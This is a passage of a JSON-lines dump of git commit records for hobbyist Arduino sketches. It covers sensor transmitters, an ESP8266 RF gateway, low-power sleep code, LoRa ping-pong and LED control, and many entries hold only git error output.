Node\n","repos":"totothekiller\/weather-station,totothekiller\/weather-station","old_file":"TempHumidityNode\/TempHumidityNode.ino","new_file":"TempHumidityNode\/TempHumidityNode.ino","new_contents":"\/\/\n\/\/ TX Node with Temperature + Humidity\n\/\/\n\/\/ Based on Sensor AM2302 (DHT22) http:\/\/snootlab.com\/adafruit\/252-capteur-de-temperature-et-humidite-am2302.html\n\n#include <Manchester.h>\n#include \"DHT.h\"\n#include <OneWire.h> \/\/ For CRC\n#include <avr\/wdt.h>\n#include <avr\/power.h>\n#include <avr\/interrupt.h>\n#include <avr\/sleep.h>\n\n\n#define DHTTYPE DHT22 \/\/ DHT 22 (AM2302)\n\n#define sensID_Temp 10 \/\/ Sensor ID for Temp\n#define sensID_Humid 11 \/\/ Sensor ID for Humidity\n\n#if defined(__AVR_ATtiny85__) \/\/ ATtiny85 mode\n#define ECO \/\/ Low Power Mode\n\n#define txLed 3 \/\/ TX LED\n#define txPin 1 \/\/ TX Out\n#define sensPin 0 \/\/ Sensor Pin\n#define powerPin 4 \/\/ Power line for Tx module and sensor\n\n#else\n#define DEBUG \/\/ Is serial debug active ?\n\n#define txLed 13 \/\/ TX LED\n#define txPin 12 \/\/ TX Out\n#define sensPin 2 \/\/ Sensor Pin\n#define powerPin 8 \/\/ Power line for Tx module and sensor\n#endif\n\n#define WATCHDOG_TIMER WDTO_8S \/\/ 8 sec\n#define SLEEP_LOOP 2 \/\/ Deep Sleep total time = WATCHDOG_TIMER * SLEEP_LOOP\n\n\/\/ Sensor Message Structure\ntypedef struct sensorData_t{\n uint8_t id; \/\/ size 1\n float value; \/\/ size 4\n uint8_t checksum; \/\/ size 1\n};\n\ntypedef union sensorData_union_t{\n sensorData_t data;\n uint8_t raw[6]; \/\/ total size of 6 bytes\n};\n\n\/\/ Sensor Message\nsensorData_union_t _message; \n\n\/\/ WatchDof Counter\nvolatile byte _watchdogCounter;\n\n\/\/ WatchDog interruption\nISR(WDT_vect) {\n _watchdogCounter++;\n}\n\n\n\/\/ Initialize DHT sensor for normal 16mhz Arduino\nDHT dht(sensPin, DHTTYPE);\n\nvoid setup() {\n \/\/ Debug\n #ifdef DEBUG\n Serial.begin(9600);\n Serial.println(\"--- SETUP ---\");\n #endif\n\n}\n\nvoid loop()\n{\n \/\/ Power On !\n powerUp();\n\n \/\/ Read Temp\n if (acquireTemp())\n { \n \/\/ Turn LED On\n digitalWrite(txLed, HIGH);\n \n \/\/ Compute Checksum : CRC8 on ID+Value\n _message.data.checksum = OneWire::crc8(_message.raw, 5);\n \n#ifdef DEBUG\n Serial.print(\"Sensor=\"); \n Serial.print(_message.data.id); \n Serial.print(\", Temp=\"); \n Serial.print(_message.data.value);\n Serial.print(\", CheckSum=\"); \n Serial.println(_message.data.checksum);\n#endif\n \n \/\/ Send All Data\n man.transmitArray(6, _message.raw);\n }\n \n \/\/ Read Humidity\n if (acquireHumidity())\n { \n \/\/ Turn LED On\n digitalWrite(txLed, HIGH);\n \n \/\/ Compute Checksum : CRC8 on ID+Value\n _message.data.checksum = OneWire::crc8(_message.raw, 5);\n \n#ifdef DEBUG\n Serial.print(\"Sensor=\"); \n Serial.print(_message.data.id); \n Serial.print(\", Humidity=\"); \n Serial.print(_message.data.value);\n Serial.print(\", CheckSum=\"); \n Serial.println(_message.data.checksum);\n#endif\n \n \/\/ Send All Data\n man.transmitArray(6, _message.raw);\n }\n\n \/\/ sets the LED off\n digitalWrite(txLed, LOW); \n\n \/\/ Power Off\n powerDown();\n\n \/\/ Go to Sleep Mode Zzzzz\n deepSleep();\n}\n\n\/\/ \n\/\/ Power Up Tx Module and sensor\n\/\/ Turn txLed ON\nvoid powerUp()\n{\n \/\/ Power On\n pinMode(powerPin, OUTPUT);\n digitalWrite(powerPin,HIGH);\n \n delay(10);\n\n \/\/ Led Setup\n pinMode(txLed, OUTPUT);\n\n \/\/ TX Setup\n man.setupTransmit(txPin);\n \n \/\/ DHT Startup\n dht.begin();\n}\n\n\/\/\n\/\/ Shut down power line\nvoid powerDown()\n{\n \/\/ Power Down\n digitalWrite(powerPin,LOW);\n\n \/\/ Set all pin in INPUT mode\n pinMode(powerPin, INPUT);\n pinMode(txLed, INPUT);\n pinMode(txPin, INPUT);\n pinMode(sensPin,INPUT);\n}\n\n\/*\n * Read Temp\n *\/\nboolean acquireTemp()\n{\n \/\/ Read temperature as Celsius\n float t = dht.readTemperature();\n \n if (isnan(t)){\n#ifdef DEBUG\n Serial.println(\"Failed to read Temp from DHT sensor!\");\n#endif\n return false;\n }\n \n \/\/ Write Sensor ID\n _message.data.id = sensID_Temp;\n \n \/\/ Save temperature\n _message.data.value = t;\n \n return true;\n}\n\/*\n * Read Humidity\n *\/\nboolean acquireHumidity()\n{\n \/\/ Reading temperature or humidity takes about 250 milliseconds!\n float h = dht.readHumidity();\n \n if (isnan(h)){\n#ifdef DEBUG\n Serial.println(\"Failed to read Humidity from DHT sensor!\");\n#endif\n return false;\n }\n \n \/\/ Write Sensor ID\n _message.data.id = sensID_Humid;\n \n \/\/ Save Humidity\n _message.data.value = h;\n \n return true; \n}\n\n\n\/\/\n\/\/ Put ATtiny85 in deep sleep mode \n\/\/\n\/\/ Power is reduce to :\n\/\/ - ~7\u00b5A BOD disabled\n\/\/ - ~30\u00b5A BOD enabled\n\/\/\nvoid deepSleep()\n{\n#ifndef ECO\n delay(8000*SLEEP_LOOP);\n#else\n \n \/\/\n \/\/ Prepare for shutdown\n \n bitClear(ADCSRA,ADEN); \/\/Disable ADC\n \/\/bitSet(PRR,PRADC); not working...\n \/\/power_adc_disable(); not working...\n\n ACSR = (1<<ACD); \/\/Disable the analog comparator\n DIDR0 = 0x3F; \/\/Disable digital input buffers on all ADC0-ADC5 pins\n\n PRR = 0x0F; \/\/Reduce all power right before sleep\n \n \n \/\/\n \/\/ Start Watchdog\n setup_watchdog(WATCHDOG_TIMER);\n \n \/\/\n \/\/ Prepare for Sleep\n \n while(_watchdogCounter<SLEEP_LOOP){\n \n set_sleep_mode(SLEEP_MODE_PWR_DOWN); \/\/ sleep mode\n \n noInterrupts();\n sleep_enable();\n \/\/ Disable BOD : my ATtiny85 doesn't have this fonctionality ...\n interrupts();\n \n \n sleep_cpu(); \/\/ System sleeps here\n sleep_disable(); \/\/ System continues execution here when watchdog timed out \n \n } \n \n \/\/\n \/\/ Stop WatchDog\n setup_watchdog(-1);\n \n \/\/ Restore Power\n PRR = 0x00; \/\/Restore power reduction\n DIDR0 = 0x00; \/\/Restore digital input buffers on all ADC0-ADC5 pins\n#endif\n}\n\n#ifdef ECO\n\n\/\/\n\/\/ Watchdog setup\n\/\/ From https:\/\/github.com\/jcw\/jeelib\/blob\/master\/Ports.cpp\n\/\/ \nvoid setup_watchdog(char mode) {\n\n \/\/ correct for the fact that WDP3 is *not* in bit position 3!\n if (mode & bit(3))\n { \n mode ^= bit(3) | bit(WDP3);\n }\n \/\/ pre-calculate the WDTCSR value, can't do it inside the timed sequence\n \/\/ we only generate interrupts, no reset\n byte wdtcsr = mode >= 0 ? bit(WDIE) | mode : 0;\n \n MCUSR &= ~(1<<WDRF);\n\n noInterrupts();\n\n WDTCR |= (1<<WDCE) | (1<<WDE); \/\/ timed sequence\n WDTCR = wdtcsr;\n \n \/\/ Reset counter\n _watchdogCounter=0;\n \n interrupts();\n}\n\n#endif\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'TempHumidityNode\/TempHumidityNode.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"19ef181a76b60bed6261d7aab3bb9f47978b55a1","subject":"Create GatewayRF4.ino","message":"Create GatewayRF4.ino","repos":"mttstt\/Domoticasite,mttstt\/Domoticasite","old_file":"GatewayRF4.ino","new_file":"GatewayRF4.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WiFiMulti.h> \n#include <ESP8266mDNS.h>\n#include <ESP8266WebServer.h> \/\/ Include the WebServer library\n#include <EX_RCSwitch.h>\n\n#define SERVER_PORT 80\nconst int pulse = 360; \/\/\u03bcs\n#define UP6_SIZE 67\nbyte up6[] = {1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0};\n#define pin 4 \/\/GPIO4 = 2\n#define NUM_ATTEMPTS 3\n#define TRACE 1 \/\/ 0= trace off 1 = trace on Do we want to see trace for debugging purposes\nvoid trc(String msg); \/\/ function prototypes \nvoid transmit_code(char code[]);\n\nESP8266WiFiMulti wifiMulti; \/\/ Create an instance of the ESP8266WiFiMulti class, called 'wifiMulti'\n\nESP8266WebServer server(80); \/\/ Create a webserver object that listens for HTTP request on port 80\n\nvoid setup(void){\n pinMode(pin,OUTPUT);\n Serial.begin(115200); \/\/ Start the Serial communication to send messages to the computer\n delay(10);\n Serial.println('\\n');\n\n wifiMulti.addAP(\"MTT_2.4\", \"999999999\"); \/\/ add Wi-Fi networks you want to connect to\n\n Serial.println(\"Connecting ...\");\n int i = 0;\n while (wifiMulti.run() != WL_CONNECTED) { \/\/ Wait for the Wi-Fi to connect: scan for Wi-Fi networks, and connect to the strongest of the networks above\n delay(250);\n Serial.print('.');\n }\n Serial.println('\\n');\n Serial.print(\"Connected to \");\n Serial.println(WiFi.SSID()); \/\/ Tell us what network we're connected to\n Serial.print(\"IP address:\\t\");\n Serial.println(WiFi.localIP()); \/\/ Send the IP address of the ESP8266 to the computer\n\n if (MDNS.begin(\"esp8266\")) { \/\/ Start the mDNS responder for esp8266.local\n Serial.println(\"mDNS responder started\");\n } else {\n Serial.println(\"Error setting up MDNS responder!\");\n }\n server.on(\"\/\", HTTP_GET, []() { transmit_code(up6); \n server.send(200, \"text\/html\", \"<h1> Gateway Rf <\/h1> <p>\"+server.uri()+\"<\/p> \"); \n });\n server.onNotFound([]() { server.send(404, \"text\/plain\", \"404: Not Found\"); });\n server.begin(); \/\/ Actually start the server\n Serial.println(\"HTTP server started\");\n \n \/\/ Examples where Pulse Length is not used\n\tstatic st::EX_RCSwitch executor3(F(\"tapparella up6\"), pin, \"0000011010100110100101100110010110101010100110101010\", \"0000011010100110100101100110010110101010100101010101\", 9, 4);\n\n\n \n}\n\nvoid loop(void){\n server.handleClient(); \/\/ Listen for HTTP requests from clients\n}\n\n\/\/ trace function\nvoid trc(String msg){if (TRACE) { Serial.println(msg); } }\n\nvoid transmit_code(byte code[]){\n \/\/ Examples where Pulse Length is not used\n\t\n }\n \n trc(\"transmit preamble\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'GatewayRF4.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ed8a926be6c42471356ea8b7af90f5a70f6b8831","subject":"Pwm while sleeping","message":"Pwm while sleeping\n","repos":"theapi\/solar,theapi\/solar,theapi\/solar,theapi\/solar,theapi\/solar","old_file":"sleep_pwm\/sleep_pwm.ino","new_file":"sleep_pwm\/sleep_pwm.ino","new_contents":"\n#include <avr\/wdt.h>\n#include <avr\/sleep.h> \/\/ Sleep Modes\n#include <avr\/power.h> \/\/ Power management\n\n#define DEBUG_LED_PIN 13\n#define PWM_PIN 11 \/\/ timer 2\n#define WD_DO_STUFF 1 \/\/ How many watchdog interupts before doing real work\n\nvolatile byte wd_isr = WD_DO_STUFF;\n\nISR(WDT_vect)\n{\n \/\/ Wake up by watchdog\n if (wd_isr == 0) {\n wd_isr = WD_DO_STUFF;\n \/\/ Stay awake until a message is received.\n } else {\n --wd_isr; \n \/\/ Go back to sleep.\n goToSleep();\n }\n}\n\nvoid setup() \n{ \n \/\/ disable ADC\n ADCSRA = 0;\n \n \/\/ disable analog comparitor\n ACSR = (1 << ACD) | (0 << ACIE);\n \n power_spi_disable();\n power_twi_disable();\n \n \n watchdog_setup();\n \n pinMode(DEBUG_LED_PIN, OUTPUT);\n pinMode(PWM_PIN, OUTPUT);\n \n analogWrite(PWM_PIN, 128); \n} \n\nvoid loop()\n{\n \/\/ Reset watchdog so he knows all is well.\n wdt_reset();\n \n \/\/ wait, then sleep\n delay(2000); \n \n goToSleep(); \n}\n\n\/**\n * Watchdog to wake up every 8 seconds\n *\/\nvoid watchdog_setup()\n{\n \/\/ Clear any previous watchdog interupt\n MCUSR = 0;\n\n \/\/ WD interrupt after 8 seconds, \n \/\/ unless wdt_reset(); has been successfully called\n \n \/* In order to change WDE or the prescaler, we need to\n * set WDCE (This will allow updates for 4 clock cycles).\n *\/\n WDTCSR |= (1<<WDCE) | (1<<WDE);\n\n \/* set new watchdog timeout prescaler value *\/\n WDTCSR = 1<<WDP0 | 1<<WDP3; \/\/ 8.0 seconds \n \n \/* Enable the WD interrupt (note no reset). *\/\n WDTCSR |= _BV(WDIE);\n \n wdt_reset();\n}\n\nvoid goToSleep()\n{\n\n \/\/ Indicate sleeping\n digitalWrite(DEBUG_LED_PIN, LOW);\n \n cli();\n \n \/\/ ensure ADC is off\n ADCSRA = 0;\n \n set_sleep_mode(SLEEP_MODE_PWR_SAVE);\n \/\/power_all_disable();\n power_timer0_disable();\n power_timer1_disable();\n power_usart0_disable();\n \n \/\/ leaving timer2 on for the pwm\n\n sleep_enable();\n sei();\n \n \/\/ turn off brown-out enable in software\n MCUCR = bit (BODS) | bit (BODSE); \/\/ turn on brown-out enable select\n MCUCR = bit (BODS); \/\/ this must be done within 4 clock cycles of above\n sleep_cpu(); \/\/ sleep within 3 clock cycles of above\n \n sleep_disable(); \n MCUSR = 0; \/\/ clear the reset register \n \n \/\/power_all_enable(); \n power_timer0_enable();\n power_timer1_enable();\n power_usart0_enable();\n\n \/\/ Indicate awake\n digitalWrite(DEBUG_LED_PIN, HIGH);\n \n} \n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sleep_pwm\/sleep_pwm.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2196593537460fe11cc9a314cb65711414e7d1de","subject":"Kapitola: Sledovanie \u010diary","message":"Kapitola: Sledovanie \u010diary","repos":"Galeje\/Cing","old_file":"Programy\/03_Pomocou jedn\u00e9ho senzora.ino","new_file":"Programy\/03_Pomocou jedn\u00e9ho senzora.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Programy\/03_Pomocou' did not match any file(s) known to git\nerror: pathspec 'jedn\u00e9ho' did not match any file(s) known to git\nerror: pathspec 'senzora.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ebd55ac5f662ebd228274360ad51bf3f843b8187","subject":"* serial feedback when PWM frequency is set (dev only)","message":"* serial feedback when PWM frequency is set (dev only)\n","repos":"KaiserSoft\/OpenSimButtonBox,KaiserSoft\/OpenSimButtonBox,KaiserSoft\/OpenSimButtonBox,KaiserSoft\/OpenSimButtonBox","old_file":"Main Module\/Code_MainModule\/Code_MainModule.ino","new_file":"Main Module\/Code_MainModule\/Code_MainModule.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Main' did not match any file(s) known to git\nerror: pathspec 'Module\/Code_MainModule\/Code_MainModule.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"2fdd76205b1c434c78729a5697b838f25c449305","subject":"A few tweaks before first tests.","message":"A few tweaks before first tests.\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/setSpeedReadEmf\/setSpeedReadEmf.ino","new_file":"Motor Speed\/setSpeedReadEmf\/setSpeedReadEmf.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/setSpeedReadEmf\/setSpeedReadEmf.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6d5e0128e14fdf82d7a5a4384d2cdaed9341382c","subject":"Code optimization","message":"Code optimization\n","repos":"MichalMares\/Ardularm,MichalMares\/Ardularm,MichalMares\/Ardularm,MichalMares\/Ardularm,MichalMares\/Ardularm,MichalMares\/Ardularm","old_file":"Ardularm.ino","new_file":"Ardularm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/MichalMares\/Ardularm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5fc38da0a77dbef117840decdef5dacbe6d98b9b","subject":"Fixed typho","message":"Fixed typho\n\nSigned-off-by: Edi Permadi <163b49ac0c44ca5b49677bf42f3f8680b3bd9867@gmail.com>\n","repos":"edipermadi\/teensy-hsm,edipermadi\/teensy-hsm","old_file":"teensy-hsm\/teensy-hsm.ino","new_file":"teensy-hsm\/teensy-hsm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/edipermadi\/teensy-hsm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4b7abd2297a4d6c6125e4aabf2a49fd0b46448c2","subject":"Create auto_water.ino","message":"Create auto_water.ino","repos":"robreeves\/robotany","old_file":"auto_water.ino","new_file":"auto_water.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/robreeves\/robotany.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b4d36417e3b4c9fd98b72d107ce8f78e6c53b0a9","subject":"wrote arduino sketch","message":"wrote arduino sketch\n","repos":"fishnsotong\/straightflash,fishnsotong\/straightflash","old_file":"carcontrol.ino","new_file":"carcontrol.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/fishnsotong\/straightflash.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"af277f853ec7ddbd249036a80f7112a4bcf5df01","subject":"Arduino\u30b9\u30b1\u30c3\u30c1\u8ffd\u52a0","message":"Arduino\u30b9\u30b1\u30c3\u30c1\u8ffd\u52a0\n","repos":"ics-creative\/160125_arduino_ESP-WROOM-02_v2,ics-creative\/160125_arduino_ESP-WROOM-02_v2","old_file":"arduino\/light-sencor\/light-sencor.ino","new_file":"arduino\/light-sencor\/light-sencor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ics-creative\/160125_arduino_ESP-WROOM-02_v2.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"485d49a454984aedcd80509b68d3097b80a8113d","subject":"Create FreqCounterLib_example.ino","message":"Create FreqCounterLib_example.ino","repos":"catolina\/FreqCounter","old_file":"firmware\/examples\/FreqCounterLib_example.ino","new_file":"firmware\/examples\/FreqCounterLib_example.ino","new_contents":"\/\/ Frequency Counter Lib example\n\n\/*\n Martin Nawrath KHM LAB3\n Kunsthochschule f\u00b8r Medien K\u02c6ln\n Academy of Media Arts\n http:\/\/www.khm.de\n http:\/\/interface.khm.de\/index.php\/labor\/experimente\/\t\n *\/\n#include <FreqCounter.h>\n\n\nunsigned long frq;\nint cnt;\nint pinLed=13;\n\nvoid setup() {\n pinMode(pinLed, OUTPUT);\n\n Serial.begin(115200); \/\/ connect to the serial port\n\n Serial.println(\"Frequency Counter\");\n\n}\n\n\n\nvoid loop() {\n\n \/\/ wait if any serial is going on\n FreqCounter::f_comp=10; \/\/ Cal Value \/ Calibrate with professional Freq Counter\n FreqCounter::start(100); \/\/ 100 ms Gate Time\n\n while (FreqCounter::f_ready == 0) \n\n frq=FreqCounter::f_freq;\n Serial.print(cnt++);\n Serial.print(\" Freq: \");\n Serial.println(frq);\n delay(20);\n digitalWrite(pinLed,!digitalRead(pinLed)); \/\/ blink Led\n\n} \n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/FreqCounterLib_example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"855f60f2c58a8551c2aaf44539e8a683a0b82190","subject":"Update Test of MegaPi motors, to include display of Encoder pulse count, and evaluated speed.","message":"Update Test of MegaPi motors, to include display of Encoder pulse count, and evaluated speed.\n","repos":"Bobox214\/Dovlo,Bobox214\/Dovlo","old_file":"arduino\/Test_MegaPiMotors\/Test_MegaPiMotors.ino","new_file":"arduino\/Test_MegaPiMotors\/Test_MegaPiMotors.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Bobox214\/Dovlo.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"210f239ca00390012c71c03ed6dbca9ec23f15f1","subject":"Comment formatting","message":"Comment formatting\n","repos":"onordbo\/mood-cloud,onordbo\/mood-cloud,onordbo\/mood-cloud","old_file":"New World Order\/_ard\/Thunderstorm.ino","new_file":"New World Order\/_ard\/Thunderstorm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/onordbo\/mood-cloud.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"941e066a330fd093b0d019bd160c4b46c21da574","subject":"Create RGBSerielArd.ino","message":"Create RGBSerielArd.ino","repos":"MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab","old_file":"home\/Markus\/RGBSerielArd.ino","new_file":"home\/Markus\/RGBSerielArd.ino","new_contents":"\/*\n Reading a serial ASCII-encoded string.\n\n This sketch demonstrates the Serial parseInt() function.\n It looks for an ASCII string of comma-separated values.\n It parses them into ints, and uses those to fade an RGB LED.\n\n Circuit: Common-anode RGB LED wired like so:\n * Red cathode: digital pin 3\n * Green cathode: digital pin 5\n * blue cathode: digital pin 6\n * anode: +5V\n\n created 13 Apr 2012\n by Tom Igoe\n\n This example code is in the public domain.\n *\/\n\n\/\/ pins for the LEDs:\nconst int redPin = 3;\nconst int greenPin = 5;\nconst int bluePin = 6;\n\nvoid setup() {\n \/\/ initialize serial:\n Serial.begin(115200);\n \/\/ make the pins outputs:\n pinMode(redPin, OUTPUT);\n pinMode(greenPin, OUTPUT);\n pinMode(bluePin, OUTPUT);\n\n}\n\nvoid loop() {\n \/\/ if there's any serial available, read it:\n while (Serial.available() > 0) {\n\n \/\/ look for the next valid integer in the incoming serial stream:\n int red = Serial.parseInt();\n \/\/ do it again:\n int green = Serial.parseInt();\n \/\/ do it again:\n int blue = Serial.parseInt();\n\n \/\/ look for the newline. That's the end of your\n \/\/ sentence:\n if (Serial.read() == '\\n') {\n \/\/ constrain the values to 0 - 255 and invert\n \/\/ if you're using a common-cathode LED, just use \"constrain(color, 0, 255);\"\n red = 255 - constrain(red, 0, 255);\n green = 255 - constrain(green, 0, 255);\n blue = 255 - constrain(blue, 0, 255);\n\n \/\/ fade the red, green, and blue legs of the LED:\n analogWrite(redPin, red);\n analogWrite(greenPin, green);\n analogWrite(bluePin, blue);\n\n \/\/ print the three numbers in one string as hexadecimal:\n Serial.print(red);\n Serial.print(',');\n Serial.print(green);\n Serial.print(',');\n Serial.println(blue);\n }\n Serial.println(\"Data received\");\n }\n}\n\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'home\/Markus\/RGBSerielArd.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"b6918a8cbbb73a495a1b10c0515812ddda96ec38","subject":"Initial version of rf95_ping, which does both ping and pong","message":"Initial version of rf95_ping, which does both ping and pong\n","repos":"bertrik\/loratest","old_file":"rf95_ping\/rf95_ping.ino","new_file":"rf95_ping\/rf95_ping.ino","new_contents":"\/\/ rf95_server.pde\n\/\/ -*- mode: C++ -*-\n\/\/ Example sketch showing how to create a simple messageing server\n\/\/ with the RH_RF95 class. RH_RF95 class does not provide for addressing or\n\/\/ reliability, so you should only use RH_RF95 if you do not need the higher\n\/\/ level messaging abilities.\n\/\/ It is designed to work with the other example rf95_client\n\/\/ Tested with Anarduino MiniWirelessLoRa\n\n\n#include <SPI.h>\n#include <RH_RF95.h>\n\ntypedef struct {\n char msg[5]; \/\/ ping or pong\n int count; \/\/ counter\n int rssi; \/\/ signal strength\n} pingpong_t;\n\n\/\/ Singleton instance of the radio driver\nstatic RH_RF95 rf95;\nstatic pingpong_t ping;\nstatic pingpong_t pong;\n\nvoid setup() \n{\n Serial.begin(9600);\n Serial.println(\"Hello World from Server!\");\n if (!rf95.init())\n Serial.println(\"init failed\"); \n \/\/ Defaults after init are 434.0MHz, 13dBm, Bw = 125 kHz, Cr = 4\/5, Sf = 128chips\/symbol, CRC on\n rf95.setFrequency(869.525);\n rf95.setModemConfig(RH_RF95::Bw125Cr48Sf4096);\n\n \/\/ init ping\n strcpy(ping.msg, \"ping\");\n ping.count = 0;\n ping.rssi = 0;\n \n}\n\nvoid loop()\n{\n char line[32];\n uint8_t buf[64];\n\n \/\/ send a ping\n ping.count++;\n strcpy(ping.msg, \"ping\");\n sprintf(line, \"Sending PING(%d,%d) ...\", ping.count, ping.rssi);\n Serial.println(line);\n rf95.send((uint8_t *)&ping, sizeof(ping));\n rf95.waitPacketSent();\n\n \/\/ wait some random time in reception mode\n unsigned long wait = random(1000, 5000);\n sprintf(line, \"Listening for %d ms ...\", wait); \n Serial.println(line);\n\n unsigned long now = millis();\n while ((millis() - now) < wait) {\n uint8_t len;\n if (rf95.available()) {\n rf95.recv(buf, &len);\n if (len == sizeof(pong)) {\n memcpy(&pong, buf, sizeof(pong));\n if (strcmp(pong.msg, \"ping\") == 0) {\n \/\/ got ping\n sprintf(line, \"Recv PING(%d,%d)\", pong.count, pong.rssi);\n Serial.println(line);\n \/\/ send pong\n strcpy(pong.msg, \"pong\");\n pong.rssi = rf95.lastRssi();\n sprintf(line, \"Send PONG(%d,%d)\", pong.count, pong.rssi);\n Serial.println(line);\n rf95.send((uint8_t *)&pong, sizeof(pong));\n rf95.waitPacketSent();\n }\n if (strcmp(pong.msg, \"pong\") == 0) {\n \/\/ got pong, print stats\n sprintf(line, \"Got PONG(%d,%d)\", pong.count, pong.rssi);\n Serial.println(line);\n }\n } else {\n Serial.println(\"Got spurious message!\");\n }\n }\n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'rf95_ping\/rf95_ping.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"69eb963bd6ef543dc5797a2d7c743b6d9b280eb2","subject":"FIX_RX","message":"FIX_RX\n","repos":"SeaSweepersROV\/SeaSweepers2017,SeaSweepersROV\/SeaSweepers2017","old_file":"Sensor Code UPDATED(ET)\/arduinoSensorRX\/arduinoSensorRX.ino","new_file":"Sensor Code UPDATED(ET)\/arduinoSensorRX\/arduinoSensorRX.ino","new_contents":"","old_contents":"","returncode":2,"stderr":"\/bin\/sh: 1: Syntax error: \"(\" unexpected\n","license":"mit","lang":"Arduino"} {"commit":"d3ccd3bd6c9c1147c2cbf5c5bfc075d8806822e2","subject":"httptospiffs test","message":"httptospiffs test\n","repos":"chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino","old_file":"_56-gopro-control\/a-6-httptospiffs-image\/a-6-httptospiffs-image.ino","new_file":"_56-gopro-control\/a-6-httptospiffs-image\/a-6-httptospiffs-image.ino","new_contents":"\/\/ https:\/\/github.com\/esp8266\/Arduino\/blob\/master\/libraries\/ESP8266HTTPClient\/examples\/StreamHttpClient\/StreamHttpClient.ino\n\n#include <Arduino.h>\n#include <ESP8266WiFi.h>\n#include <ESP8266HTTPClient.h>\n#include \"FS.h\"\n\nextern \"C\" {\n#include \"user_interface.h\"\n}\n\n#include \"\/usr\/local\/src\/ap_setting.h\"\n\nconst char* ssid = WIFI_SSID;\nconst char* password = WIFI_PASSWORD;\nconst char* otapassword = OTA_PASSWORD;\n\n\/\/\nIPAddress influxdbudp = MQTT_SERVER;\nIPAddress mqtt_server = MQTT_SERVER;\nIPAddress time_server = MQTT_SERVER;\n\nString clientName;\nWiFiClient wifiClient;\n\nconst char* filename = \"\/0416.jpg\";\nbool bgetfiles;\n\nvoid wifi_connect() {\n Serial.println(\"[WIFI] start\");\n WiFi.mode(WIFI_STA);\n WiFi.begin(ssid, password);\n\n int Attempt = 0;\n while (WiFi.status() != WL_CONNECTED) {\n delay(100);\n Attempt++;\n if (Attempt == 300) {\n ESP.restart();\n }\n }\n Serial.println(\"[WIFI] connected\");\n}\n\nvoid setup() {\n Serial.begin(115200);\n Serial.println();\n\n bool result = SPIFFS.begin();\n 